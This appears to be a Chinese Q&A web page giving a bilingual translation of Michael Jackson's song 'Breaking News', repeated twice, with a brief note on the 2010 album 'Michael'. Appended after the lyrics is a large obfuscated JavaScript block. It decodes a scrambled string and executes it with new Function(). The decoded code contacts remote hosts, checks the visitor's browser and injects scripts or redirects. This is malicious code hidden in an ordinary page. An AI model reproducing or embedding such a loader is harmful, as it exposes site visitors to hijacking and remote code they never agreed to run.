推荐回答（2个）
《breaking news 》歌词翻译
( Prelude: News segments broadcast)
The plot thickens to destroy Michael Jackson摧毁迈克尔杰克逊的密谋越发迷雾重重
As the story unfolds…随着故事展开……
If you thought that there was nothing more to say about Michael Jackson, just wait如果你以为对于迈克尔·杰克逊再没什么好说的话，请等一等
Newly released, unathorised biography…刚刚出版的未经授权的传记……
The paparazzi would not leave him alone狗仔队不会放过他
More allagetions made against the performer这个艺人遭到更多的指控
And what they did find was a series of lies他们发现的只是一系列谎言
There will be alot more to be said about Michael Jackson关于迈克尔·杰克逊还有更多可说的
Here we go again, another lawsuit on Michael Jackson又来了，又一起针对迈克尔·杰克逊的诉讼
Numerous unathorised biographies....unauthorised无数本未经授权的传记……未经授权……
More allegations made against the performer…针对这个艺人的更多指控……
As the story unfolds, there will be alot more to say about Michael Jackson随着故事展开，关于迈克尔·杰克逊还有更多可说的……
(Verse 1)
Everybody wanting a piece of Michael Jackson每个人都想从迈克尔·杰克逊身上分一杯羹
Reporters stalking the moves of Michael Jackson记者追踪迈克尔·杰克逊的一举一动
Just when you thought he was done但当你以为他们就此作罢的时候，
he wants to give it again他们又把新闻当剩饭再炒
They put it around the world他们全世界地传播流言
cause they wanna write my obituary因为他们巴不得为我写祭文
(Chorus)
No matter what you just wanna read it again无论什么流言，你都想反复地读
no matter what you just wanna feed it again无论什么蜚语，你都会反复咀嚼
why is it strange that I fall in love我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am I crazy cause I'm just don't know哦，我是疯了吗因为只有我一个人不知道？
this is breaking news这就是他们的所谓的惊天大新闻
this is breaking news这就是他们的所谓的惊天大新闻
(Verse 2)
Everybody watching the news of michael jackson每个人一看电视都能看到迈克尔·杰克逊
they wanna see that I fall cause I'm michael jackson他们盼望我倒霉，因为我是迈克尔·杰克逊
you write the words to destroy like it's a weapon你写那些文字来摧毁我，仿佛那就是杀人利器
you turned your back on the love and you cant get it again你们与爱背道而驰，休想再得到爱
(Chorus) x2
why is it strange that I would fall in love?我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am I crazy cause im just don't know哦，我是疯了吗？因为只有我一个人不知道？
this is breaking news这就是他们所谓的的惊天大新闻
this is breaking news这就是他们所谓的的惊天大新闻
(Bridge)
All the news today they say we're crazy今天全天的新闻在说我，简直是疯了
and on the screen today, we're on on display今天的电视里，我们都在这个游戏中
baby
(Chorus) x2
why is it strange that I would fall in love?我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am i crazy cause im just don't know哦，我是疯了吗？因为只有我一个人不知道？
this is breaking news这就是他们的惊天大新闻
this is breaking news这就是他们的惊天大新闻
You breaking the news!是你惊动了新闻
《Breaking News》是迈克尔杰克逊
专辑封面
2010年新专辑《Michael》中的主打歌曲（强调一下，唱片是限量版的，收集的是2007年左右MJ没有公开的歌曲），11月8日开始在提供一周试听。试听片段周五发布。12.14日正式全球发行。
《Breaking News》是杰克逊2007年创作的歌曲，后期制作最近完成。据悉，杰克逊生前一直在筹备新专辑，并有大量未发行新曲。而且都应该是MJ亲创，MJ生前就对媒体有很大不满，Breaking News这首歌曲也正可以看出其风格。
The plot thickens to destroy Michael Jackson摧毁迈克尔杰克逊的密谋越发迷雾重重
As the story unfolds…随着故事展开……
If you thought that there was nothing more to say about Michael Jackson, just wait如果你以为对于迈克尔·杰克逊再没什么好说的话，请等一等
Newly released, unathorised biography…刚刚出版的未经授权的传记……
The paparazzi would not leave him alone狗仔队不会放过他
More allagetions made against the performer这个艺人遭到更多的指控
And what they did find was a series of lies他们发现的只是一系列谎言
There will be alot more to be said about Michael Jackson关于迈克尔·杰克逊还有更多可说的
Here we go again, another lawsuit on Michael Jackson又来了，又一起针对迈克尔·杰克逊的诉讼
Numerous unathorised biographies....unauthorised无数本未经授权的传记……未经授权……
More allegations made against the performer…针对这个艺人的更多指控……
As the story unfolds, there will be alot more to say about Michael Jackson随着故事展开，关于迈克尔·杰克逊还有更多可说的……
(Verse 1)
Everybody wanting a piece of Michael Jackson每个人都想从迈克尔·杰克逊身上分一杯羹
Reporters stalking the moves of Michael Jackson记者追踪迈克尔·杰克逊的一举一动
Just when you thought he was done但当你以为他已经完蛋的时候，
he wants to give it again他又回来重振雄风
They put it around the world他们全世界地传播流言
cause they wanna write my obituary因为他们巴不得为我写祭文
(Chorus)
No matter what you just wanna read it again无论什么流言，你都想反复地读
no matter what you just wanna feed it again无论什么蜚语，你都会反复咀嚼
why is it strange that i fall in love我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am i crazy cause im just don't know哦，我是疯了吗因为只有我一个人不知道？
this is breaking news这就是他们的所谓的惊天大新闻
this is breaking news这就是他们的所谓的惊天大新闻
(Verse 2)
Everybody watching the news of michael jackson每个人一看电视都能看到迈克尔·杰克逊
they wanna see that i fall cause im michael jackson他们盼望我倒霉，因为我是迈克尔·杰克逊
you write the words to destroy like its a weapon你写那些文字来摧毁我，仿佛那就是杀人利器
you turned your back on the love and you cant get it again你们与爱背道而驰，休想再得到爱
(Chorus) x2
why is it strange that i would fall in love?我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am i crazy cause im just don't know哦，我是疯了吗因为只有我一个人不知道？
this is breaking news这就是他们所谓的的惊天大新闻
this is breaking news这就是他们所谓的的惊天大新闻
(Bridge)
All the news today they say we're crazy今天全天的新闻在说我，简直是疯了
and on the screen today, we're on on display今天的电视里，我们都在这个游戏中
baby
(Chorus) x2
why is it strange that i would fall in love?我拥有爱有什么奇怪的？
who is the boogie man youre thinking of?你们把我这个搞音乐的想成什么人？
oh am i crazy cause im just don't know哦，我是疯了吗因为只有我一个人不知道？
this is breaking news这就是他们的惊天大新闻
this is breaking news这就是他们的惊天大新闻
You breaking the news!是你惊动了新闻！
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
